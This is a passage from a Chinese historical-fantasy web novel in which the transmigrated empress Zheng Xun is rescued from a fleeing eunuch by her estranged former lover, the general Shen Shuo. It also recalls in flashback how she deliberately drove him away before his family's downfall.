那边赵成卓笑了半天,却直身跪坐,肃整了神色,“张凤岐想献,安温册却未必同意。此獠向来狡诈,他能从和李翊之争嗅到时机有变,又能当机立断劫持天子向东,不可谓不果决,如今张凤岐已萌退意,他人在城中岂会无所察觉?既然已经挟持天子一遭,再挟持第二次便不难了,若真的让他挟持天子难逃,遁入巴蜀之地,再抓可就难如下海捉鳖,恳请主公——” 赵成卓还没说完,主帐帘子被掀开,一位身着银甲小将抱着兜鍪阔步往里。 人还没完全走进来,敞亮的声音已经在帐中响起,“回禀将军,属下已让人守住天兴城四面城门,外围各路要道、山口岔路,所有能走人、能骑马的小路,全都布了岗哨……天罗地网布下,就是只兔子跑出来,我也能给它射死!” 他显然对自己这差事做得极为满意,开始还规规矩矩地作低头禀报状,但没说上两句,人就忍不住昂起头来。剑眉浓黑入鬓,瞳仁漆黑明亮,说话间微扬的眼尾神采奕奕,瞧着尾巴都要翘到天上去了。 被人这么猝不及防地抢了话头,赵成卓却没什么不快,而是就手端着旁边的酒盏饮了一口,老神在在地坐了回去。 虽神色气质迥异,但少年与上首之人五官眉眼颇有相似之处。 人家自家兄弟的事,他一个外人插什么话。 果然,那小将不等人应,又紧接着开口,“二兄,我……” 上首人淡淡地将手中折牒一放,“叫主将。” “将军!”沈周伯半点儿停顿都没有,流畅地改了称呼,“末将请命。城外旷野四通八达,还需领一队骑兵在外巡弋,末将愿领此任,率黑云骑沿城垣外围巡逻,如有异动,立刻赶往支援。” “你留在营中。” 沈周伯表情一急,差点儿一句“二兄!”喊出口,到底险险把话吞了回去。 沈朔看他,“可有异议?” 沈周伯敛下那轻浮的神色,沉稳地行了个军礼,“末将遵命。” 赵成卓在旁看得默默点了下头。 性子虽有跳脱但不误事,看似少年轻狂却不冒进。沈朔把这族弟当继承人,倒算不错。 赵成卓这还在心底点评着呢,就见上首沈朔已经站起身来,“你领骑兵待命,让孟引彰守住大营。我亲自去巡。” 赵成卓:??! 他差点儿把手里的酒洒了。 但阻拦的话还没来得及说出口,那边沈周伯已然行了军礼,“是。” 赵成卓:“……” 他老老实实地把话咽回去,跟着沈周伯一块儿恭送主将。 这倒也不是什么非得拦着的大事,但就是没那个必要。谁家主将亲自去干这些杂活啊?但沈朔今日一早就着了甲,显然早就有这种打算,估计拦也拦不住。 自从安温册挟持天子的消息传出,那种隐隐约约的不对劲感又来了。 赵成卓拧了半天的眉,也没想出个所以然来,他狐疑地看向对面沈周伯。 沈周伯先前领他二兄的吩咐显然半点没偷懒,大冬天地忙出了一身汗,进来的时候头上还冒着白气,刚才帐内主将在的时候不好放肆,这会儿沈朔一走他就忍不住了,别着手腕动作别扭地去扯着披膊上的束带,想给自己透透气。但因为铠甲限制了活动范围,这动作有点艰难,他毛手毛脚地搞了半天,反而把结打得越发死了,急得表情都狰狞了。 赵成卓没眼看地别开了脸。 这小子有点什么都写脸上,应当不知情。 注意到旁边看过来的视线,沈周伯放弃了和披膊上的束带作斗争。 他脸上的表情一敛,又是一副英姿勃勃的少年将军模样,“掌书记有事?” 赵成卓沉吟了一下,还真的开口问了,“当年沈氏论罪,可有女眷被没入掖庭?” 这可是当面问候家中母亲姊妹是否为奴为婢。 上来就问这种话,可太冒犯了。 也正是因为冒犯太过,沈周伯还是结结实实地愣了一下,才露出恼色,“你!” 赵成卓倒是立刻抬手打断,深揖一礼作赔罪状,“某不知当年旧事,只是如今主公率军救驾,不日便奉迎天子回帝都,如若仍对京中情况一无所知,谈何为主公筹谋?” 就算这样也不能骂人啊? 赵成卓解释是解释了,但沈周伯仍谈不上消气,他语气硬梆梆地回:“不曾。” 这可就奇了。 赵成卓蹙眉深思,仍是不解。 他还是觉得沈朔这次反应非同寻常,他太着急了,简直就像是赶着救什么人似的。虽然用的是勤王之名,但他这么急的不可能是天子,赵成卓不断做假设又推翻,想来想去能联系到也只有随行的宫人了。当年沈家论罪,这里面说不准有沈氏女眷。 那边沈周伯接着:“我大伯祖父当年遭人构陷,有小人诬告他拥立信王意欲谋反,但朝中诸公接连上疏,为我大伯祖父陈情鸣冤,便是武宗皇帝也不是以谋反定的罪。故而沈家只获流刑。” 这语调冷得都快下刀子了,赵成卓总算后知后觉自己招人嫌了。 他素来没什么心理包袱,也不在乎眼前是个刚加弱冠的小儿,手叉于前、揖礼再三,“某素来放.浪,此遭言行无忌,冒犯沈都尉了。” 沈周伯呵呵一笑,心道是“你嘴臭也不是一两天”。 要不是二兄庇护,这人便是任着军中掌书记,也得被人套了麻袋揍上几回。 但他终是牵了牵嘴角,神情冷淡地:“与掌书记无关。” 和这人有什么关系呢?若是大伯祖父当真谋反,那便株连九族阖家问罪,若是没有,那就该昭雪鸣冤。可都偏偏不是!罪名模棱两可、证言含糊不清,难不成他们沈家就合该抄家流放,还得反过来感恩戴德朝廷放过家中女眷吗?这是什么狗屁道理! * 郑珣最开始上马车,还以为她和萧清维又要辗转一次,换个地方被关起来。 但她很快就发现自己错了,安温册这哪里是赶路啊,这分明是逃命! 一开始她就觉出马车婢来时颠簸了些,也没多想,只当是离帝都远了,路没有京师附近平坦,故而车马难行,但是情况很快就变得不对劲。 依旧是萧清维先听到的声音。 他轻轻拉了拉郑珣的手,低声:“有马。” 正赶路呢,周围到处都是马。 郑珣知道萧清维不会在这种时候说废话,不由问:“什么马?” 不用萧清维回答,郑珣很快也听见了。 地面震动,马匹嘶鸣,甲片碰撞,闷雷一般的声音由远及近。这可不是马,而是大股骑兵! 郑珣这会儿满脑子都是前几天确定安张决裂的事,这会儿下意识地,“张凤岐这么有钱?!” 这骑兵可不是一般人能养得起的。 张凤岐要是有这财力物力,他会龟缩在天兴城? 萧清维摇了摇头,“追兵不是从城内的方向来的。” 郑珣很快反应过来那可能是谁。 她从一个月前得知,但之后一点动静都没有的沈朔。 还准备怎么给萧清维解释呢,对方已经自行做出了推测,“重甲骑兵耗费巨靡,天下藩镇中能养得起的也不多,单以马匹牧场观之,太原并汾、幽燕河北、朔方陇右,无出这三家。但朔方偏远,恐无力供养甲兵,河北之兵欲至天兴城,路途遥远,又多有借道,多半是不愿来的,只能是晋地的骑兵。” 晋地,并汾。 真是沈朔! 想到这一点,郑珣发现自己有点心烦意乱。虽然早就有心理准备,但真的事到临头,心底还是难安。一别经年,她也不知道再见面对方会是怎样的反应。当年年少无知,那个智障系统的傻.逼指南,郑珣差不多走了全套,以正常的角度看,两人现在妥妥的仇人了,也不知道沈朔会怎么报复。 心思浮动间,手突然被握住了。 郑珣垂眸看过去,就见萧清维轻轻覆住她的手背。 虽然这些日子实在狼狈,但萧清维前半辈子也是过得养尊处优,手上除了淡淡一层笔茧并无其他粗糙的印记,手指修.长白皙、肌肤细腻比之郑珣也不遑多让。只是他毕竟是男子,骨骼要明显得多,手背也比郑珣宽阔上不少,此刻,他用那略宽阔的手一点点包裹住郑珣的五指。 温度略高,郑珣觉得他或许还发着热。 却听他声音温和、语调平稳地,“瑶娘不必担心。不管是何人的兵,既然到了这里,都是为了‘救驾’而来,不会有事。” 被威逼、被胁迫、不得不移驾,萧清维这一路上都非常镇定。 郑珣自己是因为是执行者,对于小世界内的生死不放在心上,但是萧清维这般心性实在难得,他身上有种奇特的安抚人心的能耐,这会儿和那双眼尾微微下垂的温润杏眼对上,郑珣居然奇迹地情绪平静了不少。 还真是出息了。 明明是个执行者,居然被真的命悬一线的小世界本土人安慰了。 郑珣在心底低低叹了一声,突然凑过去抱住了他。 在萧清维微微愕然的表情中,她低声,“我会保护你的。” 就算没有小世界的任务,为了萧清维这个人,她也会护着他的。 5.旧日青梅05 郑珣也没能想到,自己居然这么快就履行了承诺。 后面喊杀声渐渐逼近,间或有兵刃交击的锐鸣,从郑珣听到马蹄声到这时也不过半刻,两方交战动静已经逼到了近前。尖锐的箭矢破空声就在旁边响起,时不时的夹杂几声噗哧的入肉闷响,两人所在的车架的轮子不知被什么卡了一下,整个车厢向着右侧翻倒。 即便被萧清维护着,郑珣这一下也摔得头晕眼花。 而车厢门随着倒下而敞开,外面的声音听得更清楚了,弩.箭的声音比刚才稀疏,刀兵的声音却更响,显然是近身肉搏占了上风。 萧清维给郑珣当了回肉垫,这会儿反倒揽着她的肩膀往另一侧压,想把郑珣护在身下。 摔得半开的车门处传来刀剑劈砍的声音,郑珣反应奇快地推开了萧清维,被一把拽了出去当了人质。 萧清维:“瑶娘!” 郑珣已经被扯出了车厢外,而拽她竟然安温册。 这位大宦官看起来像是刚从马背上滚下来,发髻散乱,脸上还沾着血迹,锃亮的铠甲上都是尘土,半点看不见半个时辰前的气焰。 他也没想到抓出来的居然是郑珣,不由愣了下,忙想要扔下郑珣去换人,却没能来得及。 “诛贼首者,赏钱百贯!绢二十匹!!” 不知道谁这么喊了一句,士兵顿时蜂拥而至,连旁边倾倒的车厢上都跳上了人。 安温册也顾不得什么皇帝皇后了,把刀往郑珣脖子上一横,厉声喝道:“皇后在我手上!敢伤皇室者,罪在不赦,你们谁敢过来!!” 他都喊破音了,声音终于显出些宦官的尖利来,作为第一受害人的郑珣顿觉阵阵眩晕。 郑珣头晕眼花的还在想:这要是皇帝可能还有点说服力,皇后就没那么大威胁性了。 不过这一嗓子对于普通士卒的震慑力还是足的,一时没有人敢真的上前,刚才上头的气氛骤然降了温,郑珣周围出现了一个一圈的真空地带,战场陷入了短暂停战的对峙,而郑珣就站在对峙的最中心。 地上横着尸骨,四下都是血迹,而方才那卡住马车轮子的,也正是一具横在路中的尸首。郑珣正觉反胃,突然觉得眼前的一切模糊了,尸体变成明显的假人人偶,士卒刀刃上的血渍斑驳也变成了不明马赛克,画面一下子从生死相搏变成了拍戏片场,顿时滑稽起来。 郑珣:“……” 这智障系统也就是在宿主保护这方面做得还行了。 郑珣心底默默吐槽了一句,但情绪倒是跟着缓过来了,有心情观察周围情况。 对方后面不知道发生了什么变动,原本团团包围的士卒在短暂的骚乱之后,让出一条通路,一队骑兵往前面走来。 哒哒哒的马蹄声踏过来,郑珣耳朵里这声音其实不算齐整,但声音很重,比之平常的马蹄声更重,是重骑兵。 她身后的安温册很明显地紧张起来,呼吸声变得比刚才粗重不少。 少顷,那队骑兵出现在眼前。 骑兵压迫本就足,莫说人马着甲的重骑。马匹上披着漆黑的甲片,马匹上的人同样一身玄色鳞甲,远远看过去宛若一片黑压压的乌云,挟着雷霆之势压过来。 安温册的手微微颤抖,架在郑珣脖子上的刃锋也跟着偏转,郑珣被逼得不得不仰头。 领头的那个人毫无预兆地撞入眼中,一张熟悉又陌生的面孔,依旧剑眉入鬓,但那双眼睛漆黑内敛,褪.去的少年肆意,不见外显锋芒,静水深流又如厚重山岳。 郑珣:“……” 比闹掰了前男友出人头地了更糟糕的是什么?是对方春风得意的时候,正好遇到非常狼狈的自己。 血腥画面被屏蔽,恐惧褪.去,郑珣现在主要是尴尬。 要不是脖子上还架着刀,她高低在脚底下抠出个凤来殿。 说起刀来,安温册大概紧张过了头,不止发抖,掌心有点冒汗,握刀柄的手打滑,他不由紧了紧,在郑珣脖子上剌出一道血痕。 倒也不疼,就是有点凉。 沈朔突然开口:“安温册。” 郑珣能感觉到,自己被狠狠往后拽了一下。安温册气息打着颤,但说出来的声音却显得平稳,“沈节度,安某技不如人,兵败至此,也无甚可说的。如今所求,唯活命尔。还请沈节度为某准备——” 他话未说完,沈朔已经动了。 骑下战马陡然扬蹄,身侧低垂着的槊尖扬起,两人之间原本有段距离,但这点步兵看起来很远的距离,对马上的长兵却只在方圆之中。不过须臾,那冰凉的槊锋递至近前,安温册想要拽着郑珣来挡都没来得及。 即便挡了也没有用处,槊脊借马冲力直直戳了过来,安温册连人带甲的被钉在了地上。 就是他刚才拉住郑珣挡了,也就多了一个人被串糖葫芦。 郑珣也被那连带着的冲力往一边甩去,她模糊地看见马上伸过来一只戴着护甲的手,但是在那之前,她已经被身后冲来的人往后一拽,死死地揽入了怀中。 长袖扬起,来人这个时候还不忘体贴地挡住扑面而来的烟尘血气,这段时日已经极熟悉的气息环绕而来,但听到的声音却不再是熟悉的平稳,“瑶娘!!” 郑珣觉得萧清维这一声里都带上了泣音。 她从刚才背心发凉的冷意中抽出点心神,反手拍了拍萧清维的脊背,安慰,“我没事我没事。” 其实还是有点事的。 刚才那一下子别说安温册了,就是前头的郑珣都没反应过来,冰冷槊锋突然逼到了眼前,森凉的血腥气萦绕,她心脏现在还没缓过劲。 沈朔真是冲着杀了她来的! 也不对,他根本从头到尾看都没看一眼她这个人质,就算真的一块儿捅死都是个添头。 “没看一眼人质”的沈朔缓缓地收回了落空的手,在马上复又直起身子,垂眸看向那边相拥的帝后二人。 沈朔想起了那个梦的最后。 那日的押司说了什么呢? [今日潞王大婚,要不是押送你们这些囚坯晦气,我高低得去讨个赏钱。] 他目光瞥向那瘦弱单薄的青年。 这就是你选的人吗? 但他连在这里护住你都做不到。 淡薄的杀意自心间浮现,那边的人似有所感地抬了一下头。 沈朔只浅淡地敛了一下眼皮,那丝戾气便隐没无踪。毕竟这八年间,他学会的最多的便是一个词便是忍 耐,他已经忍了这么久了。 身侧的手重又握住了槊柄,军中兵器多样式凶悍,其中又以长槊为最,这项兵刃本就是为了破甲而作,八面开刃、刃身前窄后微扩又有血槽,沉肩坠肘微拧腰背往后一撤,那深深没入躯体的槊锋便被抽了出来。 鲜血霎时飞溅,那边本来欲要放下袖子的萧清维下意识抬起,犹自温热的液体濡湿了衣袖,腥锈气扩散开来,察觉到郑珣想要起身,萧清维忙又把人往怀里按了按。 因为那边翻身下马的将军已然削下了尸首的脑袋,拎着贼军首级大步上前。 尚未凝固的血液在黄褐色的土地上滴答出一道蜿蜒的痕迹,铠上甲片哗啦作响,萧清维不期然的和对方对上了一瞬的眼神,宛若冰封的彻骨寒意下是炽烈燃烧的火焰。 萧清维并不能清楚地分辨那火焰到底是什么,但是不妨碍他心生了然,他小心地护住怀中的人站起来,低低地唤了一句,“瑶娘……”这个人不是来救驾的。 他和安温册一样、和张凤岐一样,和远在京中的李翊一样。 若说真有什么不同,大概是这个人的杀意更不掩饰。 萧清维目光在对方握在刀柄的手上轻轻掠过,这将军方才枭首的动作凌厉,以至于满地鲜血淋漓,这双手却是干干净净的。 而这片刻打量的光景,对方已至身前。 甲胄铿锵,他屈膝触地,“臣并汾节度使沈元初,救驾来迟,请陛下恕罪。” 侧边交叠着的手似乎紧了一瞬,萧清维安抚地轻轻摩挲。 他半护着人往后带了带,自己则是上前一步,遮挡住了郑珣视线。 他没有看侧边那颗血淋淋的人头,也似乎并不在意周围横死的禁军尸首。 只是对着眼前这位还未收敛杀意的将军,露出个温和无害全不像是个帝王表情,语气诚挚而感激,“卿领兵赴难,解围护驾,朕此番身陷祸乱,全仰赖卿挺身相救。沈节度救宗庙社稷,挽家国危亡,是大景之功臣!今日诸位之恩,朕铭记于心!” 后半段话扬起了声调,是对后方的将士们说的。 于是原本只是跟随主将跪下来的士卒们纷纷叩首应和。但齐声应和的震撼场景没有出现,毕竟没提前排练过,一时之间答什么的都有,百来人的声音汇到了一处,现场闹哄哄得宛若菜市场。 萧清维似乎也不介意,笑着应和着所有自己能听到的声音。 而旁边被萧清维往后按了半天的郑珣终于有机会,趁着这个时间瞥向沈朔。 她本想悄悄看一眼就移开,但没想到恰巧与对方对上了视线,目光相触的那一瞬,郑珣感觉自己全身上下的血都凉了。 她仓促地挪开了目光,但心脏还是狂跳不止。 沈朔看过来的眼神,简直比他刚才看安温册的还凉。 对视前后不过一秒的时间,郑珣已经把正交叠着的萧清维的手掐出了指甲印,后者似乎怔然了一下,暂时停了一瞬对士卒的回应,无声地将手握得更加紧了点。 但郑珣只觉得身上更冷了。 她好像把仇恨拉得过于成功了,沈朔看萧清维的目光都没有看她这么凉。 ……那个智障系统的傻逼指南该不会是真的吧? 6.旧日青梅06 大军回营,早有通传前一步回来禀报。 不过和以往每一次不同,这一次军中迎的是天子圣驾,赵成卓一早就让人准备起来。一则不能怠慢圣驾,再者也不能让人小觑了并汾军。 于是待到天子回营时,军中文武分列于前,步兵持枪驻守,黑云铁骑兵在外游弋警戒。将士们披坚执锐,寒光熠熠、军容整肃。因昨日是夜战,如今回营正好赶上天光大明之时,能将这一切看得清清楚楚的。 赵成卓对自己干的活很满意,和奉命看守大营的孟引彰一起,分列左右最前,神情安逸。 然后他就差点把自己手里的牙笏给摔了。 真真瞧见鬼了! 莫不是他昨夜一宿没睡,眼睛出毛病了?! 赵成卓都顾不得当下场合,抬手使劲揉了好几遍眼,眼睛都花了,但鬼影还是没散。 他拿着笏板抵了抵旁边人的铠甲,“你瞧见了什么?” 被他戳的是孟引彰。 这位老将军面相憨实,声音也很沉厚,虽不解赵成卓为何有此一问,但还是沉稳地回答,“将军救驾凯旋,恭迎圣驾回营。” 赵成卓:“……” 是恭迎圣驾,但是没说沈朔亲自给人牵着马啊。 因为主将亲自执缰,所有的骑兵都跟着下马步行,乌压压一片人群之中,只帝后二人端坐于马上。 并汾军是为“救驾”而来,这份大义不管在哪都足足够压人了。 未免日后在朝中被人指摘,赵成卓是提醒过沈朔,迎接帝王銮驾的时候,就是演也要演得恭敬些。但是他那会儿最多想的是,沈朔别把人随便打发回来,起码安排一辆车架,但是万万没想到,沈朔会亲自牵马执缰。 赵成卓满脑子打结,脑筋都快转不动的时候,突然灵光一闪,出现了一个可怕的念头—— 这真的是演的吗? 他们沈家可是有遗传的!当年沈令公名满天下,那可当真是为了景朝呕心沥血,然这番忠贞之心却没什么好下场,终究是被人陷害,遭武宗皇帝下狱,沈公朝中亲朋门生众多,他却硬是压着没起波澜,自己从容赴死。 沈朔这一路紧赶慢赶,该不会真的来给这个大景朝当忠臣的吧?! 就在赵成卓这疯狂头脑风暴,为了自己上司的未来的职业规划操碎了心的时候,后方的沈周伯却没有他那么多想法。 景朝负他们沈家良多,大伯祖父愿意为朝廷肝脑涂地,但可不意味着沈家每一个人都如此。 起码二兄绝对不是这样的人! 沈周伯只是为沈朔做到这地步讶然。 但那“皇帝”又凭什么? 沈周伯有点不忿又有点不满,但是等手搭着凉棚往上看,逆着光看清了马上的人后,他顿时明白了原委。 这么直剌剌地看了一会儿,沈周伯忍不住笑了。 都这么多年了,他二兄还真是一点都没变。 * 并不知道远处的人那么多想法,郑珣觉得屁.股下的马鞍简直是针垫,她是一路刺挠回来的。 前男友亲自给她牵马,郑珣可一点都开心不起来,她觉得自己可能要凉了。原本郑珣尝试过拒绝,沈朔是救驾来的,为帝王执缰还能说是演给天下人看的,再加上一个皇后属实没有必要,然而郑珣拒绝的话还没有说完,就被萧清维抱上了马。 是的,是萧清维把她抱上去。 郑珣:“……” 虽然知道对方肯定是出于善意体贴,但她还是觉得被狠狠地背刺了。 就这么一路活人微死地回到了沈朔的大本营,总有种眼睁睁地看自己往虎窟里面走的感觉。随着队伍的行进,营帐外拒马被挪开,一行人进入营地中心,并汾军中将领文佐皆在此地等候,得见圣驾纷纷恭敬行礼。 几个时辰之前,尚且为刀兵相挟,狼狈奔逃,而堪堪几个时辰之后,又被另一支军队恭敬迎入大营。 郑珣便是算半个旁观者,身在其中,也觉得世事荒谬。 但萧清维似乎并未觉如何,以帝王该有的话术嘉许着并汾军的救驾之功。 以如今朝廷与藩镇间的格局,这些内容听起来颇有些滑稽,但是萧清维好像有种能耐,不管怎样的话从他口中说出,都如春风化雨般打动人心。 要是换个出生的时机,他会是个好皇帝也说不定。 郑珣走了会儿神,这短暂又简单的迎驾便落了尾声。 帝后二人被迎接到了安歇的营帐处。 郑珣不习惯被人扶着,更别说用骑奴了,因着这个习惯,她下马从来都很快。马甫一停.下,她便急着往下翻身,却不料因穿的不是打马球时的窄裤,一下子没留心裙摆被绊了下。若是平常,被绊也便罢了,偏偏今日这马上着甲,她下意识调整去抓马鬃的手竟然没抓住,整个人往后仰去。 小事小事,问题不大! 她核心猛地发力绷紧,整个往前一蹿,卸掉了后仰的力道,同时屈膝躬身,抓空了的那只手干脆地放弃了借力,使劲一撕裙摆,确保没有勾连后,主动从马镫上跳了下来。 虽说落地往后连连踉跄了几步,但是被人托了一把腰之后,还是稳稳地站定。 稳住身形后,郑珣忍不住仰着头冲上面的萧清维笑了起来,神情间无不得意。 ——就这骑马技术,是她上辈子做梦都不敢想的! 萧清维可没那么轻松的心情。 他被这一遭变故吓出了一身冷汗,见郑珣真正落地后才松了口气,但目光稍稍往后,他表情复又凝滞。 郑珣本来还不解,但很快就意识到问题。 扶着她的人……是谁? 坚硬的手甲硌在腰后,铁片冰凉的寒气几乎要透过厚重棉衣透进来,郑珣死死克制住回头的动作,却听到背后一声短促的轻笑。 郑珣印象里的沈朔其实很爱笑,但是这会儿的笑声让她天灵盖都凉飕飕的。 “皇后殿下,”低沉的像是铁甲相磨的声音传入耳中,他慢条斯理地,“当心些。” 郑珣:“……” 被警告了吧!绝对被警告了!! 沈朔这是让她最好睡觉也睁着一只眼睛。 * 郑珣也不知道自己是怎么进的营帐,她心不在焉幽魂似的干东干西,一直到被人握住了手。 郑珣勉强回神:“怎么了?” 不由萧清维说,她就知道怎么回事了。 杯子里的水早就满 了,她还执着铜壶不撒手,多出来的水溢了一托盘,再倒一会儿就要洒出来了。 郑珣连忙把壶放回炭炉上,准备找抹布去擦,却被轻轻拉住手腕,到一旁的垫子上坐了。 萧清维:“我来吧,小心烫。” 他不光处理了郑珣留下的狼藉,还另倒热水倒铜盆里,兑着凉水试半天水温,然后也不知道从哪里掏出条帕子,浸了水之后又拧了下,搭在了铜盆边上,连盆一起端到郑珣旁边的桌案上。 他居然随身带手帕! 要知道两人刚才可是在逃命啊。 郑珣默默感慨了一下对方的精致程度,伸手接过想要去擦把脸,却不料被避开了。 她不解地看向萧清维,却被后者扶着下巴轻轻抬起了头,温热的湿润擦过脖颈上的血痂,动作轻柔地带走周遭的污痕。 郑珣这才想起来脖子上还有道伤口。 萧清维的动作太轻了,有点痒,除此之外好像还有点别的什么。 郑珣不自在地想要偏头,却没有能转得动。萧清维看起来没怎么用力,实际上也确实没有,但是他手卡住的位置很巧,非得大动作才能挣脱。郑珣想挣一下又觉得不至于,就这么僵硬地任由萧清维清理伤口。 等到萧清维终于把帕子放下的时候,郑珣甚至浅浅地出了口气。 她也不知道自己在紧张什么,总之就很紧张。 正准备往后退,却被轻轻捧住了脸。 带着热度的指腹顺着侧脸摩挲着往下,小心地避过伤口,在颈侧的肌肤上停留,“疼吗?” “不疼不疼。” 郑珣连连摇头,忍不住往后仰了仰。 她觉得自己这会儿脸一定很红,被碰触的地方发烫。但这不对,两个人是很纯洁的革命战友情……虽然睡过。 毕竟成婚了,没睡过才不正常。 但是郑珣在这个小世界呆了这么久,早就明白过来,这会儿的成婚结的是两姓之好,跟自由恋爱没关系,生孩子更是政.治.任务,是有指标的,起码对于帝都的官宦人家是如此,对皇室更是了,连睡的过程都是一板一眼遵循礼节。 往事不堪回首。 好在那尴尬到让郑珣恨不得抠地的房.事.过程在两人入宫后就结束了,皇帝住紫宸宫,皇后住凤来殿,说是邻居都隔了好几条街。 萧清维也不会主动过来,郑珣乐得轻松。 对郑珣来说是了却一桩烦心事的好消息,但深究原因却非常残酷。萧清维在避免有孩子,更不能有的是中宫太子。他本就是因为好控制才被宦官推上位的,但是成年人再怎么好控制又怎么能好过幼童呢?有了孩子之后,他基本可以宣告死亡倒计时了。 郑珣走着神想着这些,却听萧清维突然问:“瑶娘和沈节度相熟?” 郑珣思绪一滞,霍地抬头。 萧清维好像只是随口一问,因她这么大的反应意外,困惑地,“瑶娘?” “……不、不太熟识。”郑珣挪开了目光,努力让语气轻描淡写,但仍旧干巴巴的,“只是,或许、可能……有那么、些许旧怨。” “旧‘怨’?” “是、是啊。” 可能比“怨”还超过亿点点。 7.旧日青梅07 郑珣那句“不太熟识”虽然有一部分是搪塞遮掩,但也有很大程度是认真的。 阔别多年,如今的沈朔早就气质大变到了她都不敢认的地步,但除此之外,即便在当年,郑珣也觉得自己或许没有想的那么了解对方。 沈家出事之前,沈朔其实来找过她。 当时沈家的事情才刚刚传出些风声来,沈朔也不知道觉出什么来,主动来找她,“近来家里有事,我估计有一阵子都不好出来。待到这次的事情过了,我再带你去打马球。” 那时的沈朔还不知道,但是郑珣已经从系统得知,皇帝案头上已经连续好几天摆了弹劾沈相的折子,今日早朝刑部尚书更是直言参告“沈相暗结朋党拥立亲王,欲谋不轨”,与以往不同的是,这一次皇帝没有大事化小地将事情压下去,而是拉了小班子去复议。 说是复议,但这小班子里面没有以往倚重心腹的沈丞相,已经足够说明问题了。 如若郑珣没有猜错,她能见到沈朔也没有几面了。 见郑珣不说话,沈朔还以为她为上次的事情生气,立刻矮下身子凑过来,笑嘻嘻地,“阿珣莫要生气了,上次的事情是我不对,我给你赔礼好不好。” 郑珣被他塞过来一个憨态可掬的陶偶,是个跪姿的彩绘人物泥塑,泥捏的人偶衣着考究头顶高帽,双手叉礼于前,但手臂却一高一低,身子也是斜扭着,硬生生把端庄行礼的姿态做得贼头贼脑的,丑萌的五官亦是逼真,连偷偷往上瞄的眼神都活灵活现。 要不是今日的情形实在严峻,郑珣少不了被逗笑。 至于沈朔说的“上次的事”,郑珣其实记不太清楚了。她那时候在为和沈朔分手做准备,经常为了些无关紧要的小事发脾气,总的来说是个非常难搞的女朋友。 这次也不例外。 这个赔礼的陶偶在郑珣桌案上待了一眨眼的功夫,就被她挥袖一甩,重重地摔在了地上,四分五裂。 巨大的声响在屋内回荡,郑珣深吸口气,用尽了这辈子最刻薄的语气,“谁要你这破陶偶?你祖父不是判度支么,掌天下财政,结果你就拿这些破烂玩意打发我?我当沈家门庭多高贵呢,结果跟了你这么久,半点值钱的东西都没有,我爹官职也没动上一动,一直在个破国子监呆着,半点油水都不见。” 沈朔像是被说蒙了,他表情甚至有点茫然,“阿珣?” “莫这么叫我,我过够苦日子了!沈二郎君高门大户,不知道过日子的难处,我爹他满脑子都是那些破书,家里的事都一概不管,有点俸禄都拿来买书了,家里吃口米都得算计,到了冬日炭火更不必说了,女儿都没有他那书金贵!” 郑珣一开始还是表演,说到后来真有点悲从中来。 来小世界之前,郑珣以为自己最大的困难是任务,但是万万没想到,是适应这个时代艰苦的生存条件。国子司业,从四品,郑父这个官职在帝都里算不上什么,但大小也是个官,家里还到不了揭不开锅的程度,郑珣也没想着大鱼大肉,但有时候连米饭大饼都吃不上就很过分了!郑父本人也是个神人,人生嗜好看书买书,到手的俸禄一个把不住就全就干净了,全家靠着她娘艰难支撑,郑司业恨不得天天睡在那堆木简案牍里——是的,他还有收藏木简的爱好。 郑珣她娘熬了十来年,实在受不了这有夫君跟没有差不多的生活,一纸和离书离开了这个家,但临走把郑珣留下了。这倒不是她娘多狠心,反而是为了郑珣考虑,官宦出身总比平民好嫁人,郑父对家里不靠谱归不靠谱,但因为专业能力实在过硬,平日结交行走的也都是一等一的高门,郑珣能认识沈朔都是靠着郑父的关系。 就在郑珣渐渐真情实感的时候,手突然被握住了。 少年面带笑意地看过来,他似乎半点没在意刚才郑珣话里的嫌贫爱富,眼神明亮得如灿灿朝阳,盛不下半点阴霾。 郑珣被他笑得话语一断,连原本准备说的话都忘了。 少年抓着她的指.尖摇了摇,“是我不好,好阿珣,我下次给你带别的礼物,莫要生气啦。” 用的还是嬉闹讨饶的语气,当真是半点没将那话放在心上。 似乎是担心单单说这话证明不足,他又另一只手在怀里掏了半天。 大少爷出门多半没有随身带钱的习惯,掏了半天也没拿出什么来,他干脆解下腰间的白玉塞到了郑珣手心,“这个送你,阿珣你消消气。” 玉石的触感温润,和少年因常年习武而带着茧子的手指一起挤进了她的掌心,郑珣清楚地意识到,再这样下去她会不忍心。 不忍心会怎么样呢? 小世界的奇点是穿书局耗费大量能量才锁定的改变契机,不忍心只会让一切都毁掉。 一幕幕的失败案例在眼前闪过,郑珣闭了闭眼,将手心的玉像是刚才的陶偶一样砸了出去。 玉石的碎裂声要更加沉闷一些。 郑珣没有再看向少年,而是转身对着旁边妆奁上支起来的铜镜,她手指轻轻捋着侧边长发,控制着脸上的表情,讥诮,“谁要你的玉!沈相自身难保,沈二郎君还是顾一顾自己家吧,这帝都之中高门大户一朝没落的还少吗?刘小郎君前日送我一支金步摇……” 话没说完,被抓着手腕按在了旁边的桌案上。 “哪个刘?!” 话说得这么刻薄,郑珣有预料到沈朔会生气,但她本来以为沈朔气得会是前半句,没想到这天外飞来一问,让郑珣准备好的台词都卡了壳,她表情滞了下。 沈朔像是才反应过来,抓着郑珣的手松了力道,“对不住,阿珣。我就是一时激动。” 松开手的时候似乎还舍不得,恋恋不舍地在腕上摩挲了两下。 郑珣是真的要被气笑了。 都什么时候了?他脑子里就不能有点正经事! “刑部尚书兼京兆尹刘公家的小儿子刘季谟!” 郑珣咬牙切齿,想要抬脚去踹他,却被别住了膝盖,整个人都被压到了桌案上。 沈朔声音诡异地停顿了一下,然后才像是掩盖什么似的刻意拔高声调:“那人不是个好东西!阿珣你别被他骗了。他是京中有名的纨绔,仗着有个京兆尹的爹横行乡里,还未议亲事府上就有了好几个丫头,里面还有抢来的良家,据说是被强逼着签了奴籍。跟他那个尚书爹似的,惯会颠倒黑白,用些下作手腕。” 那你倒是小心他那个尚书爹啊! 郑珣那天最后还是成功把沈朔气走了,不是吵个架的那么简单,沈朔走的时候表情真的挺阴沉的。 但连郑珣都没想到,情况发展得会那么快。 当天的下午,宫中就下了旨意,由左中尉大宦官裘淳 率领北衙门禁军,京兆府刘规协同。原本戍卫皇城士卒包围了沈府,府中的老少被悉数拿下。 而与此同时,郑珣还从系统那里得到了另一个消息。 京兆尹家的小儿子刘季谟摔断了腿。三条腿全断了。沈朔干的。 郑珣至今仍然不知道,沈朔到底怎么扛着全城禁军的搜捕,做完了这件事还没被发现的。 …… 好久都没有想起过去这些事了,郑珣轻微地走了会儿神,一直到被“哐当”一声巨响惊醒。 